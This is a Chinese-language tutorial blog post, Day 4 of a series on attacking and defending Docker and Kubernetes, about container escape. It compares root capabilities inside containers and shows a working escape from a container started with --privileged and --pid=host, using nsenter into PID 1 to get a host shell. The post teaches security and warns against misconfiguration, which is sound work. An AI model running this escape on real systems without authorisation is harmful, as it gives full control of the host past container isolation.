iT邦幫忙

2023 iThome 鐵人賽

DAY 4
0

Yes

  • 所謂的容器逃逸就是突破宿主機作業系統的隔離限制,進而取得宿主機的控制權限。 /images/emoticon/emoticon05.gif

https://ithelp.ithome.com.tw/upload/images/20230911/20148308jJgALihvym.png

  • 在進行容器逃逸前先來確認一件事情。
docker run --rm -it aeifkz/my-ubuntu:v1.0 bash ;

# 這邊沒意外會是 root
whoami ; 
  • docker 容器預設使用 root 來執行程式,而且在沒做任何防護機制的情況下,docker也是使用 root 啟動。
sudo systemctl status docker.service ; 
ps aux | grep [pid] | grep -v grep ;
  • 看起來 docker 是由 root 啟動是無庸置疑的,但容器內的 root 真的有 root 的能力嗎?
# 在容器內呼叫,顯示 CapEff: 00000000a80425fb
cat /proc/$$/status | grep CapEff ; 

# 在宿主機用 root 呼叫
#切到 root 身分,顯示 CapEff: 0000003fffffffff
sudo su ; 
cat /proc/$$/status | grep CapEff ;

# 回到容器內部,先用 capsh 的 Current IAB 看一下目前被禁止的能力
capsh --print ;

# 試著修改一下系統時間,會發現沒權限???!!!
date -s "2023-06-08 03:19:56"
  • 所以現在可以發現原來容器內部的 root 居然沒有所有 root 的權限,這時候要怎麼讓容器內部也可以跟外部有一樣的權限呢? 在啟動容器的時候就要用到一個危險的參數 --privileged,先來測試一下它的威力。
docker run --rm -it --privileged aeifkz/my-ubuntu:v1.0 bash ;

# 在容器內呼叫,顯示 CapEff: 0000003fffffffff
cat /proc/$$/status | grep CapEff ; 

# 再用 capsh 的 Current IAB 看一下目前被禁止的能力
capsh --print ;

# 試著亂改一下系統時間,會發現可以改惹
date -s "2023-06-08 03:19:56"
  • 那這個容器我就稱呼它為特權容器,接下來就可以開始測試容器逃逸的手法。容器逃逸的手法大致上分為三類,有興趣的可以看我之前分享過的相關資料Day18 - 不要只看外表,容器逃逸,是由內而外逃脫出來的

  • 而這次主要要探討的主要是針對容器啟用的設定錯誤導致容器內部權限過高而可以進行容器逃逸。而可以設定的相關部分可以參考 Bad Pods: Kubernetes Pod Privilege Escalation。這篇雖然是針對 K8s Pod 所寫的,但相同的概念也可以套用到 docker 上面。

  • 今天要介紹的容器逃逸手法為最簡單的開放 privileged + hostpid 的特權容器。建立容器之後,先經由工具 genuinetools/amicontained 進行環境判斷,然後再進行後續攻擊。

  • 環境建立步驟如下 :

  1. 開啟特權容器並且將宿主機的 pid 資訊掛入容器中
#建立特權容器並掛入宿主機的 pid
docker run --rm -it --privileged  --pid=host aeifkz/my-ubuntu:v1.0 bash ; 

#此時會發現 pid 1 為 /sbin/init,代表宿主機的 pid 已經被掛入容器內部
ps aux | head -n 10 ; 
curl -fSL "https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64" -o "amicontained" && chmod a+x "amicontained" ;
./amicontained &
  1. 參考 nsenter 常用操作 內的指令
nsenter -m -u -i -n -p -t 1 bash ;

#會發現已經跳脫宿主機並且可以呼叫 docker 指令
docker ps ; 
  • 這邊我們來試試看只給一般容器並且將宿主機的 pid 資訊掛入容器中,看看能不能成功
#建立特權容器並掛入宿主機的 pid
docker run --rm -it --pid=host aeifkz/my-ubuntu:v1.0 bash ; 

#出現 Permission denied
nsenter -m -u -i -n -p -t 1 bash ; 
  • 今日總結 :
    • 本日回顧 :
      • 針對容器 root 能力作探討,會發現幾個有趣的現象,容器預設使用 root 啟動程式、預設的root能力有被限制。接著透過 --privileged 解放 root 能力,再透過 --pid=host 開放宿主機pid 的資料存取,最後透過 nsenter 達到逃逸效果。這邊就開始可以體會有些參數不要亂使用,尤其是--privileged這個參數/images/emoticon/emoticon21.gif
    • 次日預告 :
      • 假如只給 --privileged 不開放 --pid=host 還能逃逸嗎? 明天在展示幾個只用 --privileged 花式的逃逸手法。

上一篇
Day03 - 容器隔離概念介紹
下一篇
Day05 - (攻擊) 容器逃逸手法 - chroot、crontab (含作業2)
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言